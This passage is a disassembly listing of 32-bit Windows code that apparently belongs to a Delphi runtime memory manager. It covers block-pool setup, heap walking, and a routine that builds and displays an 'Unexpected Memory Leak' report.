sub_400020D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400021F0	proc near		; CODE XREF: sub_40002540+16Ap
					; sub_40002540+1E3p ...
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		mov	edx, ebx
		mov	ecx, esi
		call	sub_40002DFC
		mov	eax, ebx
		add	eax, esi
		pop	esi
		pop	ebx
		retn
sub_400021F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40002208	proc near		; CODE XREF: sub_40002208+A1p
					; sub_400022C0+1Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	ecx, edx
		add	ecx, 0FFFFFFB4h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-1Ch]
		cmp	ecx, eax
		jb	short loc_40002232
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx-10h]
		add	edx, 0FFFFFFDFh
		cmp	eax, edx
		jnb	short loc_40002246


loc_40002232:				; CODE XREF: sub_40002208+18j
		push	1Ch
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFE4h
		push	eax
		mov	eax, ebx
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_40001258	; VirtualQuery


loc_40002246:				; CODE XREF: sub_40002208+28j
		cmp	esi, 3E8h
		jge	short loc_4000228A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-1Ch]
		mov	edx, [ebp+arg_0]
		add	eax, [edx-10h]
		mov	edx, ebx
		add	edx, 0FFFFFFDFh
		cmp	eax, edx
		jbe	short loc_4000228A
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-0Ch], 1000h
		jnz	short loc_4000228A
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 0E6h
		jz	short loc_4000228A
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-7], 1
		jnz	short loc_4000228A
		mov	eax, ebx
		add	eax, 0FFFFFFB4h
		cmp	ebx, [eax]
		jz	short loc_4000228E


loc_4000228A:				; CODE XREF: sub_40002208+44j
					; sub_40002208+59j ...
		xor	eax, eax
		jmp	short loc_40002290
; ---------------------------------------------------------------------------


loc_4000228E:				; CODE XREF: sub_40002208+80j
		mov	al, 1


loc_40002290:				; CODE XREF: sub_40002208+84j
		test	al, al
		jz	short loc_400022B9
		add	ebx, 0FFFFFFDCh
		mov	ebx, [ebx]
		test	ebx, ebx
		jz	short loc_400022B7
		mov	eax, [ebp+arg_0]
		push	eax
		lea	edx, [esi+1]
		mov	eax, ebx
		sub	eax, 0FFFFFFB4h
		call	sub_40002208
		pop	ecx
		test	al, al
		jnz	short loc_400022B7
		xor	eax, eax
		jmp	short loc_400022B9
; ---------------------------------------------------------------------------


loc_400022B7:				; CODE XREF: sub_40002208+93j
					; sub_40002208+A9j
		mov	al, 1


loc_400022B9:				; CODE XREF: sub_40002208+8Aj
					; sub_40002208+ADj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40002208	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400022C0	proc near		; CODE XREF: sub_400023F4+68p

var_10		= dword	ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		mov	ebx, [eax]
		xor	eax, eax
		mov	[ebp+var_10], eax
		cmp	ebx, 10000h
		jb	short loc_400022E5
		push	ebp
		xor	edx, edx
		mov	eax, ebx
		call	sub_40002208
		pop	ecx
		test	al, al
		jnz	short loc_400022E7


loc_400022E5:				; CODE XREF: sub_400022C0+14j
		xor	ebx, ebx


loc_400022E7:				; CODE XREF: sub_400022C0+23j
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400022C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400022F0	proc near		; CODE XREF: sub_4000235C+3p
					; sub_4000239C+11p
		cmp	ds:byte_4001C04D, 0
		jz	short loc_4000232D
		jmp	short loc_4000231B
; ---------------------------------------------------------------------------


loc_400022FB:				; CODE XREF: sub_400022F0+3Bj
		push	0
		call	sub_400012D4	; Sleep
		mov	ecx, offset byte_4001E7C0
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jz	short loc_4000232D
		push	0Ah
		call	sub_400012D4	; Sleep


loc_4000231B:				; CODE XREF: sub_400022F0+9j
		mov	ecx, offset byte_4001E7C0
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jnz	short loc_400022FB


loc_4000232D:				; CODE XREF: sub_400022F0+7j
					; sub_400022F0+22j
		cmp	ds:dword_4001E7BC, 0
		jnz	short loc_4000234E
		push	4
		push	1000h
		push	10000h
		push	0
		call	sub_400012C4	; VirtualAlloc
		mov	ds:dword_4001E7BC, eax


loc_4000234E:				; CODE XREF: sub_400022F0+44j
		cmp	ds:dword_4001E7BC, 0
		setnz	al
		retn
sub_400022F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000235C	proc near		; DATA XREF: .data:4001A734o
		push	ebx
		mov	ebx, eax
		call	sub_400022F0
		test	al, al
		jz	short loc_40002391
		mov	eax, ds:dword_4001E7BC
		cmp	dword ptr [eax], 3FFEh
		jge	short loc_40002391
		mov	eax, ds:dword_4001E7BC
		mov	eax, [eax]
		mov	edx, ds:dword_4001E7BC
		mov	[edx+eax*4+4], ebx
		mov	eax, ds:dword_4001E7BC
		inc	dword ptr [eax]
		mov	al, 1
		jmp	short loc_40002393
; ---------------------------------------------------------------------------


loc_40002391:				; CODE XREF: sub_4000235C+Aj
					; sub_4000235C+17j
		xor	eax, eax


loc_40002393:				; CODE XREF: sub_4000235C+33j
		mov	ds:byte_4001E7C0, 0
		pop	ebx
		retn
sub_4000235C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000239C	proc near		; CODE XREF: sub_400023F4+4Cp
					; sub_40002540+A6p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, offset dword_4001E7BC
		xor	ebx, ebx
		cmp	dword ptr [edi], 0
		jz	short loc_400023EC
		call	sub_400022F0
		test	al, al
		jz	short loc_400023EC
		mov	eax, [edi]
		mov	edx, [eax]
		dec	edx
		test	edx, edx
		jl	short loc_400023E5
		inc	edx
		xor	eax, eax


loc_400023C2:				; CODE XREF: sub_4000239C+47j
		mov	ecx, [edi]
		cmp	esi, [ecx+eax*4+4]
		jnz	short loc_400023E1
		mov	edx, [edi]
		mov	edx, [edx]
		mov	ecx, [edi]
		mov	edx, [ecx+edx*4]
		mov	ecx, [edi]
		mov	[ecx+eax*4+4], edx
		mov	edx, [edi]
		dec	dword ptr [edx]
		mov	bl, 1
		jmp	short loc_400023E5
; ---------------------------------------------------------------------------


loc_400023E1:				; CODE XREF: sub_4000239C+2Cj
		inc	eax
		dec	edx
		jnz	short loc_400023C2


loc_400023E5:				; CODE XREF: sub_4000239C+21j
					; sub_4000239C+43j
		mov	ds:byte_4001E7C0, 0


loc_400023EC:				; CODE XREF: sub_4000239C+Fj
					; sub_4000239C+18j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000239C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400023F4	proc near		; CODE XREF: sub_40002540+84p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		sub	eax, offset byte_4001A044
		shr	eax, 5
		shl	eax, 8
		mov	edx, [ebp+arg_0]
		lea	esi, [edx+eax*8-1B800h]
		lea	ecx, [ebp+var_1C]
		lea	edx, [ebp+var_18]
		mov	eax, [ebp+var_4]
		call	sub_40002098
		jmp	loc_4000252B
; ---------------------------------------------------------------------------


loc_4000242E:				; CODE XREF: sub_400023F4+13Dj
		mov	eax, [ebp+var_18]
		sub	eax, 4
		test	byte ptr [eax],	1
		jnz	loc_4000251F
		mov	eax, [ebp+var_18]
		call	sub_4000239C
		test	al, al
		jnz	loc_4000251F
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-1B801h], 0
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		call	sub_400022C0
		mov	edi, eax
		test	edi, edi
		jnz	loc_400024F3
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 100h
		jnb	loc_4000251B
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jle	loc_4000251B
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+2]
		sub	eax, 0Dh
		cmp	eax, [ebp+var_C]
		jle	short loc_4000251B
		mov	eax, [ebp+var_18]
		add	eax, 8
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 1
		mov	eax, [ebp+var_C]
		test	eax, eax
		jle	short loc_400024DE
		mov	[ebp+var_20], eax


loc_400024B7:				; CODE XREF: sub_400023F4+E8j
		cmp	[ebp+var_11], 0
		jz	short loc_400024CD
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	20h
		jb	short loc_400024CD
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	80h
		jb	short loc_400024D1


loc_400024CD:				; CODE XREF: sub_400023F4+C7j
					; sub_400023F4+CFj
		xor	eax, eax
		jmp	short loc_400024D3
; ---------------------------------------------------------------------------


loc_400024D1:				; CODE XREF: sub_400023F4+D7j
		mov	al, 1


loc_400024D3:				; CODE XREF: sub_400023F4+DBj
		mov	[ebp+var_11], al
		inc	[ebp+var_10]
		dec	[ebp+var_20]
		jnz	short loc_400024B7


loc_400024DE:				; CODE XREF: sub_400023F4+BEj
		cmp	[ebp+var_11], 0
		jz	short loc_4000251B
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	0
		jnz	short loc_4000251B
		mov	ebx, 1
		jmp	short loc_4000251B
; ---------------------------------------------------------------------------


loc_400024F3:				; CODE XREF: sub_400023F4+71j
		mov	ebx, 2


loc_400024F8:				; CODE XREF: sub_400023F4+116j
		cmp	edi, [esi+ebx*8]
		jz	short loc_4000250C
		cmp	dword ptr [esi+ebx*8], 0
		jz	short loc_4000250C
		inc	ebx
		cmp	ebx, 0FFh
		jle	short loc_400024F8


loc_4000250C:				; CODE XREF: sub_400023F4+107j
					; sub_400023F4+10Dj
		cmp	ebx, 0FFh
		jg	short loc_40002519
		mov	[esi+ebx*8], edi
		jmp	short loc_4000251B
; ---------------------------------------------------------------------------


loc_40002519:				; CODE XREF: sub_400023F4+11Ej
		xor	ebx, ebx


loc_4000251B:				; CODE XREF: sub_400023F4+80j
					; sub_400023F4+95j ...
		inc	dword ptr [esi+ebx*8+4]


loc_4000251F:				; CODE XREF: sub_400023F4+43j
					; sub_400023F4+53j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+2]
		add	[ebp+var_18], eax


loc_4000252B:				; CODE XREF: sub_400023F4+35j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_1C]
		jbe	loc_4000242E
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400023F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40002540	proc near		; CODE XREF: sub_40002BB4+24p

var_27928	= byte ptr -27928h
var_27927	= byte ptr -27927h
var_27828	= byte ptr -27828h
var_20029	= byte ptr -20029h
var_1F828	= dword	ptr -1F828h
var_1B828	= dword	ptr -1B828h
var_1B824	= dword	ptr -1B824h
var_1B820	= dword	ptr -1B820h
var_1B81C	= dword	ptr -1B81Ch
var_1B818	= dword	ptr -1B818h
var_1B814	= dword	ptr -1B814h
var_1B810	= dword	ptr -1B810h
var_1B80A	= byte ptr -1B80Ah
var_1B809	= byte ptr -1B809h
var_1B808	= dword	ptr -1B808h
var_1B801	= byte ptr -1B801h
var_1B800	= byte ptr -1B800h
var_1B004	= byte ptr -1B004h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 27h


loc_40002549:				; CODE XREF: sub_40002540+11j
		add	esp, 0FFFFF004h
		push	eax
		dec	eax
		jnz	short loc_40002549
		mov	eax, [ebp+var_4]
		add	esp, 0FFFFF6DCh
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1B800]
		xor	ecx, ecx
		mov	edx, 1B800h
		call	sub_40003580
		lea	eax, [ebp+var_1F828]
		xor	ecx, ecx
		mov	edx, 4000h
		call	sub_40003580
		xor	eax, eax
		mov	[ebp+var_1B808], eax
		mov	[ebp+var_1B801], 1
		mov	edi, ds:dword_4001C70C
		jmp	loc_4000261F
; ---------------------------------------------------------------------------


loc_4000259D:				; CODE XREF: sub_40002540+E5j
		mov	eax, edi
		call	sub_40002058
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000261C


loc_400025AA:				; CODE XREF: sub_40002540+DAj
		mov	eax, ebx
		sub	eax, 4
		mov	esi, [eax]
		test	esi, 1
		jnz	short loc_4000260F
		test	esi, 4
		jz	short loc_400025CC
		push	ebp
		mov	eax, ebx
		call	sub_400023F4
		pop	ecx
		jmp	short loc_4000260F
; ---------------------------------------------------------------------------


loc_400025CC:				; CODE XREF: sub_40002540+7Fj
		cmp	[ebp+var_1B808], 1000h
		jge	short loc_4000260F
		and	esi, 0FFFFFFF0h
		sub	esi, 4
		mov	[ebp+var_1B814], esi
		mov	eax, ebx
		call	sub_4000239C
		test	al, al
		jnz	short loc_4000260F
		mov	[ebp+var_1B801], 0
		mov	eax, [ebp+var_1B808]
		mov	edx, [ebp+var_1B814]
		mov	[ebp+eax*4+var_1F828], edx
		inc	[ebp+var_1B808]


loc_4000260F:				; CODE XREF: sub_40002540+77j
					; sub_40002540+8Aj ...
		mov	eax, ebx
		call	sub_40002034
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_400025AA


loc_4000261C:				; CODE XREF: sub_40002540+68j
		mov	edi, [edi+4]


loc_4000261F:				; CODE XREF: sub_40002540+58j
		cmp	edi, offset dword_4001C708
		jnz	loc_4000259D
		mov	ebx, ds:dword_4001E7B0
		jmp	short loc_4000266A
; ---------------------------------------------------------------------------


loc_40002633:				; CODE XREF: sub_40002540+13Cj
		mov	eax, ebx
		add	eax, 10h
		call	sub_4000239C
		test	al, al
		jnz	short loc_40002667
		mov	[ebp+var_1B801], 0
		mov	esi, [ebx+0Ch]
		and	esi, 0FFFFFFF0h
		sub	esi, 4
		sub	esi, 10h
		mov	eax, [ebp+var_1B808]
		mov	[ebp+eax*4+var_1F828], esi
		inc	[ebp+var_1B808]


loc_40002667:				; CODE XREF: sub_40002540+FFj
		mov	ebx, [ebx+4]


loc_4000266A:				; CODE XREF: sub_40002540+F1j
		cmp	ebx, offset dword_4001E7AC
		jz	short loc_4000267E
		cmp	[ebp+var_1B808], 1000h
		jl	short loc_40002633


loc_4000267E:				; CODE XREF: sub_40002540+130j
		cmp	[ebp+var_1B801], 0
		jnz	loc_400028E3
		mov	[ebp+var_1B809], 0
		xor	eax, eax
		mov	[ebp+var_1B818], eax
		lea	edx, [ebp+var_27828]
		mov	eax, offset aAnUnexpectedMe ; "An unexpected memory leak has occurred."...
		mov	ecx, 28h
		call	sub_400021F0
		mov	ebx, eax
		mov	[ebp+var_1B810], 37h
		mov	[ebp+var_1B824], offset	word_4001A046
		lea	eax, [ebp+var_1B004]
		mov	[ebp+var_1B828], eax


loc_400026D1:				; CODE XREF: sub_40002540+2F1j
		mov	eax, [ebp+var_1B824]
		movzx	eax, word ptr [eax]
		sub	eax, 4
		mov	[ebp+var_1B81C], eax
		mov	[ebp+var_1B80A], 0
		mov	edi, 0FFh
		mov	eax, [ebp+var_1B828]
		mov	esi, eax


loc_400026F7:				; CODE XREF: sub_40002540+2C8j
		lea	eax, [ebp+var_20029]
		cmp	ebx, eax
		ja	loc_4000280E
		cmp	dword ptr [esi], 0
		jbe	loc_40002801
		cmp	[ebp+var_1B809], 0
		jnz	short loc_40002731
		mov	eax, offset aTheUnexpectedS ; "The unexpected small block leaks	are:\r\n"...
		mov	ecx, 27h
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		mov	[ebp+var_1B809], 1


loc_40002731:				; CODE XREF: sub_40002540+1D5j
		cmp	[ebp+var_1B80A], 0
		jnz	short loc_40002789
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx
		mov	eax, [ebp+var_1B818]
		inc	eax
		mov	edx, ebx
		call	sub_400020D4
		mov	ebx, eax
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	byte ptr [ebx],	2Dh
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	edx, ebx
		mov	eax, [ebp+var_1B81C]
		call	sub_400020D4
		mov	ebx, eax
		mov	eax, offset aBytes ; " bytes: "
		mov	ecx, 8
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		mov	[ebp+var_1B80A], 1
		jmp	short loc_40002791
; ---------------------------------------------------------------------------


loc_40002789:				; CODE XREF: sub_40002540+1F8j
		mov	byte ptr [ebx],	2Ch
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx


loc_40002791:				; CODE XREF: sub_40002540+247j
		mov	eax, edi
		sub	eax, 1
		jb	short loc_4000279C
		jz	short loc_400027B1
		jmp	short loc_400027C6
; ---------------------------------------------------------------------------


loc_4000279C:				; CODE XREF: sub_40002540+256j
		mov	eax, offset aUnknown ; "Unknown"
		mov	ecx, 7
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		jmp	short loc_400027EA
; ---------------------------------------------------------------------------


loc_400027B1:				; CODE XREF: sub_40002540+258j
		mov	eax, offset aString ; "String"
		mov	ecx, 6
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		jmp	short loc_400027EA
; ---------------------------------------------------------------------------


loc_400027C6:				; CODE XREF: sub_40002540+25Aj
		lea	edx, [ebp+var_27928]
		mov	eax, [esi-4]
		call	sub_40003C6C
		movzx	ecx, [ebp+var_27928]
		lea	eax, [ebp+var_27927]
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax


loc_400027EA:				; CODE XREF: sub_40002540+26Fj
					; sub_40002540+284j
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	byte ptr [ebx],	78h
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	eax, [esi]
		mov	edx, ebx
		call	sub_400020D4
		mov	ebx, eax


loc_40002801:				; CODE XREF: sub_40002540+1C8j
		dec	edi
		sub	esi, 8
		cmp	edi, 0FFFFFFFFh
		jnz	loc_400026F7


loc_4000280E:				; CODE XREF: sub_40002540+1BFj
		mov	eax, [ebp+var_1B81C]
		mov	[ebp+var_1B818], eax
		add	[ebp+var_1B828], 800h
		add	[ebp+var_1B824], 20h
		dec	[ebp+var_1B810]
		jnz	loc_400026D1
		cmp	[ebp+var_1B808], 0
		jle	short loc_400028BA
		cmp	[ebp+var_1B809], 0
		jz	short loc_40002859
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx


loc_40002859:				; CODE XREF: sub_40002540+307j
		mov	eax, offset aTheSizesOfUnex ; "The sizes of unexpected leaked medium a"...
		mov	ecx, 3Ch
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		mov	edi, [ebp+var_1B808]
		dec	edi
		test	edi, edi
		jb	short loc_400028BA
		inc	edi
		mov	[ebp+var_1B820], 0
		lea	esi, [ebp+var_1F828]


loc_40002888:				; CODE XREF: sub_40002540+378j
		cmp	[ebp+var_1B820], 0
		jz	short loc_40002899
		mov	byte ptr [ebx],	2Ch
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx


loc_40002899:				; CODE XREF: sub_40002540+34Fj
		mov	eax, [esi]
		mov	edx, ebx
		call	sub_400020D4
		mov	ebx, eax
		lea	eax, [ebp+var_20029]
		cmp	ebx, eax
		ja	short loc_400028BA
		inc	[ebp+var_1B820]
		add	esi, 4
		dec	edi
		jnz	short loc_40002888


loc_400028BA:				; CODE XREF: sub_40002540+2FEj
					; sub_40002540+335j ...
		mov	eax, offset asc_4000299C ; "\r\n"
		mov	ecx, 3
		mov	edx, ebx
		call	sub_400021F0
		push	2010h
		push	offset aUnexpectedMemo ; "Unexpected Memory Leak"
		lea	eax, [ebp+var_27828]
		push	eax
		push	0
		call	sub_400011B0	; MessageBoxA


loc_400028E3:				; CODE XREF: sub_40002540+145j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40002540	endp

; ---------------------------------------------------------------------------
		align 4
aAnUnexpectedMe	db 'An unexpected memory leak has occurred. ',0
					; DATA XREF: sub_40002540+160o
		align 4
aTheUnexpectedS	db 'The unexpected small block leaks are:',0Dh,0Ah,0
					; DATA XREF: sub_40002540+1D7o
aBytes		db ' bytes: ',0         ; DATA XREF: sub_40002540+22Do
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40002540:loc_4000279Co
aString		db 'String',0           ; DATA XREF: sub_40002540:loc_400027B1o
		align 4
aTheSizesOfUnex	db 'The sizes of unexpected leaked medium and large blocks are: ',0
					; DATA XREF: sub_40002540:loc_40002859o
		align 4
asc_4000299C	db 0Dh,0Ah,0		; DATA XREF: sub_40002540:loc_400028BAo
		align 10h
aUnexpectedMemo	db 'Unexpected Memory Leak',0 ; DATA XREF: sub_40002540+390o
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400029B8	proc near		; CODE XREF: sub_400029FC+DDp
		push	esi
		push	edi
		xor	eax, eax
		xor	esi, esi
		mov	edx, offset word_4001A046


loc_400029C3:				; CODE XREF: sub_400029B8+3Dj
		cmp	ds:byte_4001C706, 0
		jz	short loc_400029D1
		test	byte ptr [edx],	0Fh
		jnz	short loc_400029EE


loc_400029D1:				; CODE XREF: sub_400029B8+12j
		movzx	edi, word ptr [edx]
		shr	edi, 3
		mov	ecx, esi
		add	ecx, ecx
		add	ecx, ecx
		cmp	edi, eax
		jbe	short loc_400029EC


loc_400029E1:				; CODE XREF: sub_400029B8+32j
		mov	ds:byte_4001C5C0[eax], cl
		inc	eax
		cmp	edi, eax
		ja	short loc_400029E1


loc_400029EC:				; CODE XREF: sub_400029B8+27j
		mov	eax, edi


loc_400029EE:				; CODE XREF: sub_400029B8+17j
		inc	esi
		add	edx, 20h
		cmp	esi, 37h
		jnz	short loc_400029C3
		pop	edi
		pop	esi
		retn
sub_400029B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400029FC	proc near		; CODE XREF: .itext:4001900Dp
		push	ebx
		push	esi
		push	edi
		mov	esi, 37h
		mov	ebx, offset off_4001A060


loc_40002A09:				; CODE XREF: sub_400029FC+D7j
		cmp	dword ptr [ebx], 0
		jnz	short loc_40002A14
		mov	dword ptr [ebx], offset	sub_40001484


loc_40002A14:				; CODE XREF: sub_400029FC+10j
		lea	eax, [ebx-1Ch]
		mov	[ebx-8], eax
		lea	eax, [ebx-1Ch]
		mov	[ebx-18h], eax
		xor	eax, eax
		mov	[ebx-10h], eax
		mov	dword ptr [ebx-14h], 1
		movzx	eax, word ptr [ebx-1Ah]
		add	eax, eax
		add	eax, eax
		lea	eax, [eax+eax*2]
		add	eax, 0EFh
		and	eax, 0FFFFFF00h
		add	eax, 30h
		cmp	eax, 0B30h
		jnb	short loc_40002A50
		mov	eax, 0B30h


loc_40002A50:				; CODE XREF: sub_400029FC+4Dj
		add	eax, 4D0h
		shr	eax, 0Dh
		cmp	eax, 7
		jbe	short loc_40002A62
		mov	eax, 7


loc_40002A62:				; CODE XREF: sub_400029FC+5Fj
		mov	ecx, eax
		mov	dl, 0FFh
		shl	dl, cl
		mov	[ebx-1Bh], dl
		shl	eax, 0Dh
		add	ax, 0B30h
		mov	[ebx-4], ax
		movzx	edi, word ptr [ebx-1Ah]
		movzx	eax, di
		mov	ecx, eax
		shl	ecx, 4
		lea	ecx, [ecx+ecx*2]
		add	ecx, 0EFh
		and	ecx, 0FFFFFF00h
		add	ecx, 30h
		cmp	ecx, 7330h
		jnb	short loc_40002AA1
		mov	ecx, 7330h


loc_40002AA1:				; CODE XREF: sub_400029FC+9Ej
		cmp	ecx, 0FF30h
		jbe	short loc_40002AAE
		mov	ecx, 0FF30h


loc_40002AAE:				; CODE XREF: sub_400029FC+ABj
		mov	eax, ecx
		sub	eax, 20h
		movzx	edx, di
		mov	ecx, edx
		xor	edx, edx
		div	ecx
		imul	di
		add	ax, 0EFh
		and	ax, 0FF00h
		add	ax, 30h
		mov	[ebx-2], ax
		add	ebx, 20h
		dec	esi
		jnz	loc_40002A09
		call	sub_400029B8
		mov	ds:dword_4001C708, offset dword_4001C708
		mov	ds:dword_4001C70C, offset dword_4001C708
		mov	esi, 400h
		mov	edx, offset off_4001C7A8


loc_40002AFC:				; CODE XREF: sub_400029FC+10Bj
		mov	eax, edx
		mov	[eax], eax
		mov	[eax+4], eax
		add	edx, 8
		dec	esi
		jnz	short loc_40002AFC
		mov	ds:dword_4001E7AC, offset dword_4001E7AC
		mov	ds:dword_4001E7B0, offset dword_4001E7AC
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400029FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002B24	proc near		; CODE XREF: sub_40002BB4:loc_40002BFFp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_4001C708
		mov	esi, offset dword_4001E7AC
		mov	edi, [ebx+4]
		jmp	short loc_40002B49
; ---------------------------------------------------------------------------


loc_40002B37:				; CODE XREF: sub_40002B24+27j
		mov	ebp, [edi+4]
		push	8000h
		push	0
		push	edi
		call	sub_400012CC	; VirtualFree
		mov	edi, ebp


loc_40002B49:				; CODE XREF: sub_40002B24+11j
		cmp	edi, ebx
		jnz	short loc_40002B37
		mov	edx, 37h
		mov	eax, offset byte_4001A044


loc_40002B57:				; CODE XREF: sub_40002B24+4Dj
		mov	ecx, eax
		mov	[eax+14h], ecx
		mov	ecx, eax
		mov	[eax+4], ecx
		mov	dword ptr [eax+8], 1
		xor	ecx, ecx
		mov	[eax+0Ch], ecx
		add	eax, 20h
		dec	edx
		jnz	short loc_40002B57
		mov	[ebx], ebx
		mov	[ebx+4], ebx
		mov	edx, 400h
		mov	ecx, offset off_4001C7A8


loc_40002B82:				; CODE XREF: sub_40002B24+69j
		mov	eax, ecx
		mov	[eax], eax
		mov	[eax+4], eax
		add	ecx, 8
		dec	edx
		jnz	short loc_40002B82
		mov	ebx, [esi+4]
		jmp	short loc_40002BA6
; ---------------------------------------------------------------------------


loc_40002B94:				; CODE XREF: sub_40002B24+84j
		mov	edi, [ebx+4]
		push	8000h
		push	0
		push	ebx
		call	sub_400012CC	; VirtualFree
		mov	ebx, edi


loc_40002BA6:				; CODE XREF: sub_40002B24+6Ej
		cmp	ebx, esi
		jnz	short loc_40002B94
		mov	[esi], esi
		mov	[esi+4], esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40002B24	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002BB4	proc near		; CODE XREF: sub_40006350+37p
		cmp	ds:dword_4001E7C4, 0
		jz	short loc_40002BCF
		mov	eax, ds:dword_4001E7C4
		push	eax
		call	sub_400012DC	; DestroyWindow
		xor	eax, eax
		mov	ds:dword_4001E7C4, eax


loc_40002BCF:				; CODE XREF: sub_40002BB4+7j
		cmp	ds:byte_4001C5B4, 0
		jz	short loc_40002BDD
		call	sub_40002540


loc_40002BDD:				; CODE XREF: sub_40002BB4+22j
		cmp	ds:dword_4001E7BC, 0
		jz	short loc_40002BFF
		push	8000h
		push	0
		mov	eax, ds:dword_4001E7BC
		push	eax
		call	sub_400012CC	; VirtualFree
		xor	eax, eax
		mov	ds:dword_4001E7BC, eax


loc_40002BFF:				; CODE XREF: sub_40002BB4+30j
		call	sub_40002B24
		retn
sub_40002BB4	endp

; ---------------------------------------------------------------------------
		align 4


loc_40002C08:				; CODE XREF: sub_4000C5D0+45p
		test	eax, eax
		jz	short locret_40002C16
		call	off_4001A730
		test	eax, eax
		jz	short loc_40002C18

locret_40002C16:			; CODE XREF: .text:40002C0Aj
		rep retn
; ---------------------------------------------------------------------------


loc_40002C18:				; CODE XREF: .text:40002C14j
		mov	al, 1
		jmp	sub_40002D50
; ---------------------------------------------------------------------------
		db 0C3h	; Ã

; =============== S U B	R O U T	I N E =======================================



sub_40002C20	proc near		; CODE XREF: sub_40003C80+Ap
					; sub_40004948+Cp ...
		test	eax, eax
		jle	short loc_40002C37
		call	off_4001A724
		test	eax, eax
		jz	short loc_40002C30
		rep retn
; ---------------------------------------------------------------------------


loc_40002C30:				; CODE XREF: sub_40002C20+Cj
		mov	al, 1
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40002C37:				; CODE XREF: sub_40002C20+2j
		xor	eax, eax
